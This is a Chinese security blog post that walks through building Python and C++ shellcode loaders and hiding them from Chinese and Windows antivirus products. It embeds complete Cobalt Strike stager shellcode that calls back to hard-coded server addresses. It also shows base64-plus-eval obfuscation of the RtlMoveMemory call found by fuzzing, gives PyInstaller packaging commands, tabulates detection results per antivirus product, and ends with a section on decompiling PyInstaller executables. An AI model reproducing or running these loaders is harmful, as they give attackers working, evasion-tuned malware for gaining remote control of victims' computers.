概述
微信公众号:乌鸦安全
扫取二维码获取更多信息!
1. python3利用shellcode免杀火绒
1.1 什么是shellcode
在攻击中,shellcode是一段用于利用软件漏洞的有效负载,shellcode是16进制的机器码,以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在寄存器eip溢出后,放入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。(来源:百度百科)
1.2 python版本
# -*- encoding: utf-8 -*-
# Time : 2021/04/29 11:19:04
# Author: crow
import ctypes
shellcode = b""
shellcode += b"x"
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
1.3 C++版本
#include <Windows.h>
#include <stdio.h>
using namespace std;
#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")
#pragma comment(linker, "/INCREMENTAL:NO")
int main(int argc, char** argv) {
unsigned char ShellCode[] = "";
void* exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, ShellCode, sizeof ShellCode);
((void(*)())exec)();
return 0;
}
2. 无av条件下使用
2.1 cs shellcode
这里以python为例,在cs上选择64位的进行生成
看下当前的shellcode
2.2 生成py文件
直接对上面的shellcode加载器和shellcode进行组合
# -*- encoding: utf-8 -*-
# Time : 2021/04/29 11:19:04
# Author: crow
import ctypes
shellcode = b""
# shellcode += b"xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x21x03x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx4ex39x69x6dx00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4fx70x65x72x61x2fx39x2ex38x30x20x28x58x31x31x3bx20x4cx69x6ex75x78x20x78x38x36x5fx36x34x3bx20x55x3bx20x55x62x75x6ex74x75x2fx31x30x2ex31x30x20x28x6dx61x76x65x72x69x63x6bx29x3bx20x70x6cx29x20x50x72x65x73x74x6fx2fx32x2ex37x2ex36x32x20x56x65x72x73x69x6fx6ex2fx31x31x2ex30x31x0dx0ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x31x35x2ex31x35x39x2ex39x37x2ex33x35x00x00x00x00x00"
shellcode += b"xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x21x03x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx36x75x58x5ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx34x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x37x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex30x3bx20x54x72x69x64x65x6ex74x2fx34x2ex30x29x0dx0ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x30x2ex32x31x31x2ex35x35x2ex32x00x00x00x00x00"
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
直接运行之后,cs上线
2.3 exe打包
直接在win10上当着360的面打包
双击之后,直接上线
????
大概2分钟之后,360报毒
关闭所有的杀毒之后,分别在win10和winserver2019上运行正常,win7本地运行报错
从网上查到了相关的资料:
failed to execute script pyi_rth_multiprocessing
https://github.com/pyinstaller/pyinstaller/issues/4706
我的系统是64位的,因此这里打包的话,可以将python的版本修改到3.6.5进行打包
2.4 查杀
查杀效果均为联网条件下,时间为2021.04.29日上午10分左右
对于打包的exe文件,静态查杀效果
火绒 | 360 | Windows Defender | |
windows 10 64位 | 未测 | ❌ | 未测 |
windows server 2019 64位 | ❌ | 未测 | ❌ |
windows7 64位 | ❌ | 未测 | —— |
对于未打包的py文件,静态查杀效果
火绒 | 360 | Windows Defender | |
windows 10 64位 | 未测 | ✅ | 未测 |
windows server 2019 64位 | ❌ | 未测 | ❌ |
windows7 64位 | ❌ | 未测 | —— |
当然,在无防护下,理论上所有木马均可上线
3. shellcode免杀
这里以Windows7下的火绒为例
完整版:
# -*- encoding: utf-8 -*-
# Time : 2021/04/29 11:19:04
# Author: crow
import ctypes
shellcode = b""
shellcode += b"xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x21x03x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx36x75x58x5ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx34x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x37x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex30x3bx20x54x72x69x64x65x6ex74x2fx34x2ex30x29x0dx0ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x30x2ex32x31x31x2ex35x35x2ex32x00x00x00x00x00"
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
报毒
删除一段,查杀:
正常
再加入一段,查杀
正常
这说明查杀的点就在后面一段中,查杀
报毒
经过多次fuzz发现,火绒对RtlMoveMemory
字段敏感
当删除RtlMoveMemory
之后
因此只要对RtlMoveMemory
进行关键字处理应该就可以了,这里对字符进行base64加密再解密,当然也可以用base32等,方法有很多,还可以采用其他的加密
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
整理到一行
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
base64加密:
Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp
然后再进行解码:
测试是否免杀
测试上线是否正常
在win10无杀软的情况下,上线正常
那就在win10下打包为exe文件
pyinstaller -F --noconsole py_shellcode_fuzz.py
--console就是不显示命令窗口的意思
再次上线测试,正常上线
测试:
火绒免杀
静态正常:
动态上线测试
测试正常
正好有个机会在其他的电脑上进行了测试:
免杀电脑管家,金山毒霸
vt查询
https://www.virustotal.com/gui/file/a278c36a24c7315a0d8d7f8c1adf2a4ac927b25f72aca330fdb7ea77be86ac48/detection
接下来就是不能免杀的:
windows defender
360 直接云查杀
这里做一个统计
查杀效果均为联网条件下,时间为2021.04.30日夜间23时左右
对于打包的exe文件,静态查杀效果
火绒 | 360 | Windows Defender | 电脑管家 | 金山毒霸 | |
windows 10 64位 | 未测 | ❌ | 未测 | ✅ | ✅ |
windows server 2019 64位 | ✅ | 未测 | ❌ | 未测 | 未测 |
windows7 64位 | ✅ | 未测 | —— | 未测 | 未测 |
对于打包的exe文件,动态上线效果
火绒 | 360 | Windows Defender | 电脑管家 | 金山毒霸 | |
windows 10 64位 | 未测 | ❌ | 未测 | ✅ | ✅ |
windows server 2019 64位 | ❌ | 未测 | ❌ | 未测 | 未测 |
windows7 64位 | ✅ | 未测 | —— | 未测 | 未测 |
对于未打包的py文件,静态查杀效果
火绒 | 360 | Windows Defender | 电脑管家 | 金山毒霸 | |
windows 10 64位 | 未测 | ✅ | 未测 | 未测 | 未测 |
windows server 2019 64位 | ✅ | 未测 | ❌ | 未测 | 未测 |
windows7 64位 | ✅ | 未测 | —— | 未测 | 未测 |
对于未打包的py文件,动态查杀效果
火绒 | 360 | Windows Defender | 电脑管家 | 金山毒霸 | |
windows 10 64位 | 未测 | ✅ | 未测 | 未测 | 未测 |
windows server 2019 64位 | ✅ | 未测 | ❌ | 未测 | 未测 |
windows7 64位 | ✅ | 未测 | —— | 未测 | 未测 |
这里使用pyinstaller
打包的exe文件无法过360
和Windows Defender
4. exe文件反编译
注意:这里的exe文件反编译指的是对pyinstraller
打包的文件进行反编译
4.1 测试环境
操作系统:windows 10
python版本:python3.8.7
16进制编辑器:010 editor
exe反编译工具:pyinstxtractor.py
pyc反编译工具:uncompyle6
4.2 pyinstaller打包程序为exe
首先写一个简单的python3脚本
01_easy.py
# -*- encoding: utf-8 -*-
# Time : 2021/06/17 10:45:45
# Author: crow
import time
while 1:
print('hello world')
time.sleep(1)
然后将该程序使用pyinstaller打包为exe文件
pyinstaller -F 01_easy.py
其中 参数 -F 是为了将程序打包为一个exe文件,而且不产生其他的文件
打包完成之后,本地会生成一个dist的文件夹,在这个文件夹里就有一个打包好的exe文件
运行试试:
此时程序运行正常,解析来就是反编译了
4.3 反编译_pyc
针对pyinstaller打包之后的exe反编译工具:pyinstxtractor.py
PyInstaller Extractor是可以提取出PyInstaller所创建的exe文件为pyc格式。
下载链接:
https://sourceforge.net/projects/pyinstallerextractor/
将需要反编译的exe和pyinstxtractor.py
放到同一个目录下直接运行
python pyinstxtractor.py 01_easy.ex
解密成功之后,会生成一个xxx.exe_extracted
的文件夹
4.4 pyc到源码
pyinstaller在打包的时候,会将pyc文件的前8个字节清除,所以后期需要自己添加上去,前四个字节为python编译的版本,后四个字节为时间戳。(四个字节的magic number、四个字节的timestamp)
所以在这里可以通过struct文件来获取其中的信息,再添加到01_easy文件里面去
因此这里将两个文件单独复制出来,通过16进制查看工具来查看下文件,Windows系统下可以使用winhex
,mac系统下可以使用010 editor
通过对比可以发现,struct
比01_easy
多了8个字节
因此这里可以将这些字节复制插入到01_easy
中去。
在这里新建了一个文件,将两个进行结合
再将文件保存为01_easy.pyc
得到pyc文件之后就比较容易后去源代码了,这里有两种方法,一个是在线反编译,另一种是使用uncompyle6
其中在线反编译地址为:
https://tool.lu/pyc
在线反编译效果
可以看到这个效果不是很好,有一部分代码并没有成功编译出来
那试试uncompyle6
,目前可以在python3上使用pip的方式进行安装pip3 install uncompyle6
然后直接使用命令uncompyle6 01_easy.pyc
可以将文件内容保存到一个文本中
uncompyle6 01_easy.pyc > 01_easy.py
打开之后:
效果要比在线反编译效果好很多。
5. 免杀exe反编译测试
这里将上述的任意exe文件拿来进行测试
执行
python pyinstxtractor.py py_shellcode.exe
取出其中的py_shellcode
和struct
文件
使用同样的方法进行补充,将文件另存为shellcode.pyc
再将pyc文件转化为源码格式
uncompyle6 shellcode.pyc
将文件保存到一个py文件中去
uncompyle6 shellcode.pyc > shellcode.py
打开文件:
这里可以发现,除了shellcode无法完全还原之外,其他的信息基本上都可以还原,而且准确率很高。
这里对文件进行VT查杀
https://www.virustotal.com/gui/file/bfa0d02e8c1f03189613fbb2188dd20c993ad830c40eeef93480e8b9e4719b92/detection
6. pyinstaller加密打包exe
在使用pyinstaller
的时候,可以使用--key
参数对生成的exe进行加密,在使用这个参数的时候需要pycrypto
库,可以通过pip的方式进行安装,但是保不齐安装的时候会出现一些问题,这里就不再对此展开讲解,直接进行使用。
pyinstaller -F --key crow123321 --noconsole py_shellcode.py
其中--key之后的数字可以自定义
同样的,将两个文件放在一起进行逆向得到pyc文件
python pyinstxtractor.py py_shellcode.exe
开始报错,但是依旧可以生成相应的文件夹
这里使用同样的方法来对这两个文件进行测试,将新生成的文件保存为shellcode_key.pyc
uncompyle6 shellcode_key.pyc
将文件重定向到py文件里面去
打开之后发现,文件和未使用--key
参数的效果基本没什么变化。
--key的参数针对的只是依赖库进行了加密而已。
7. python打包的exe如何加密
总体上来讲,python打包的exe都是可以破解的,就算使用cython来写,依旧是可以破解的,只是时间问题而已,但是在这还是提出一些略微有效的方法(自欺欺人)
将所有的代码进行封装为一个函数,在一个新的文件中引用,其中py_shellcode_fuzz.py
里的文件内容不变,只不过将其封装为一个函数,test.py
来调用这个函数
py_shellcode_fuzz.py:
# -*- encoding: utf-8 -*-
# Time : 2021/06/17 17:12:27
# Author: crow
import ctypes,base64
def shell():
shellcode = b""
shellcode += b"xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x21x03x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx43x4ex53x79x00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x54x72x69x64x65x6ex74x2fx37x2ex30x3bx20x72x76x3ax31x31x2ex30x29x20x6cx69x6bx65x20x47x65x63x6bx6fx0dx0ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x30x2ex32x31x31x2ex35x35x2ex32x00x00x00x00x00"
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
string = """Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp"""
eval(base64.b64decode(string))
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
if __name__ == '__main__':
shell()
test.py
# -*- encoding: utf-8 -*-
# Time : 2021/06/17 17:00:27
# Author: crow
import ctypes
from py_shellcode import shell
if __name__ == '__main__':
shell()
直接运行
python py_shellcode_fuzz.py
上线正常
使用test.py调用该文件
python test.py
上线正常
然后再对文件进行打包
首先使用pyinstaller直接打包
pyinstaller -F --noconsole test.py
直接在dist文件夹下尝试获取pyc文件
python pyinstxtractor.py test.exe
将这两个文件单独拿出来,重复同样的操作
uncompyle6 get.pyc
